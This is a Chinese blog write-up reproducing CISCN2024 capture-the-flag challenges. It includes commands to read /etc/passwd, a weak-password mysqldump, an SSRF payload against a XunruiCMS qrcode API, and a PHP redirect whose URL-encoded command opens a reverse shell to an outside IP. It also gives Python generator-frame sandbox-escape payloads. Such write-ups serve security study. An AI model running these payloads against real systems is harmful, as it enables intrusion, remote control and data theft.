747 字
4 分钟
CISCN2024-部分题目复现
simple_php
1
读根目录 diff --recursive / /home
读特定文件: dd if=/etc/passwd
flag在环境变量中,但env被过滤,尝试弱密码进mysql mysqldump -uroot -proot --all-databases
最后在返回的结果中找到flag
easycms和revenge
//flag.php
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
很明显的ssrf提示
下载gayhub的源码找注入点
一般这种接口在api里
锁定qrcode这个方法,
$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
如何通过url调用呢?查看官方文档: https://www.xunruicms.com/doc/418.html
https://www.xunruicms.com/doc/547.html
于是我们可以构造出payload:
/index.php?s=api&c=api&m=qrcode&text=foo&size=1&level=1&thumb=http://vps:port
(这里参数要输全
在vps上起一个php转到127.0.0.1的flag.php,命令执行为反弹shell
(记得将命令进行url全编码
<?php
header("Location: http://127.0.0.1:80/flag.php?cmd=%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%35%34%2e%34%34%2e%31%30%2e%31%31%36%22%2c%35%36%35%36%29%3b%65%78%65%63%28%22%73%68%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27");
?>
是题目的问题?虽然得到了回应但没有getshell,我这里做法和比赛中是一致的
奇了怪了
(用别人图顶一顶
在而第二天的进阶版中,题目增加了对读取文件文件头的限制,加个GIF89a
就好了
可以尝试 牢大别周>﹏<的方法直接将flag带出来,因为没有ban单引号,可以执行命令
mossfern
使用文章中的思路构建
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back)
waff()
贴出b神的的payload
def boogipop():
def exp():#生成器函数
yield pop.gi_frame.f_back.f_back.f_back
#生成器函数 exp 使用 yield 语句返回生成器对象 pop 的第三个上级调用帧对象
pop = exp()#获得生成器对象
for exp in pop:#这里通过for获得帧对象
boo=exp
return boo
kino=boogipop()# kino得到的是pop 的第三个上级调用帧对象
print(kino.f_code.co_consts[19][1:])
#打印 kino 对象(一个帧对象)对应的代码对象的常量列表第 20 个元素(索引 19)的从第二个字符开始的字符串
不一定是第20个元素,这里可以指定整数范围进行payload,之后搜索{
即可
不知道该加几个f_back
,可以一个个加上去试,有输出就行
最后的指定输出部分字符串是为了防止对flag
的过滤,但我用的是ctfshow平台,flag串内无flag
其他队的payload:
def exp():
def scq():
yield scq.gi_frame.f_back
scq = scq() #生成器
# frame = next(scq) # 获取到生成器的栈帧对象
frame = [x for x in scq][0] #由于生成器也是迭代器,所以也可以获取到生成器的栈帧对象
gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2] #['_''_bui''ltins_''_']也行
#从 frame 对象的第三个上级调用帧对象的全局命名空间中获取内建模块 (__builtins__)
dir = gattr.dir #从内建模块中获得dir函数
str = gattr.str # 获取str方法
getflag = frame.f_back.f_back.f_back.f_code
print(dir(getflag))
for i in str(getflag.co_consts):
print(i)
#为了防止对flag的过滤,一个个输出
exp()
ezjava
有好多新东西,我连java安全的门都没入。。。不懂的概念太多了 。欸,一个个搜吧
涉及java JDBC攻击,这里仅作简单复现
之后西索
CISCN2024-部分题目复现
http://orxiain.life/posts/ciscn2024-部分题目复现/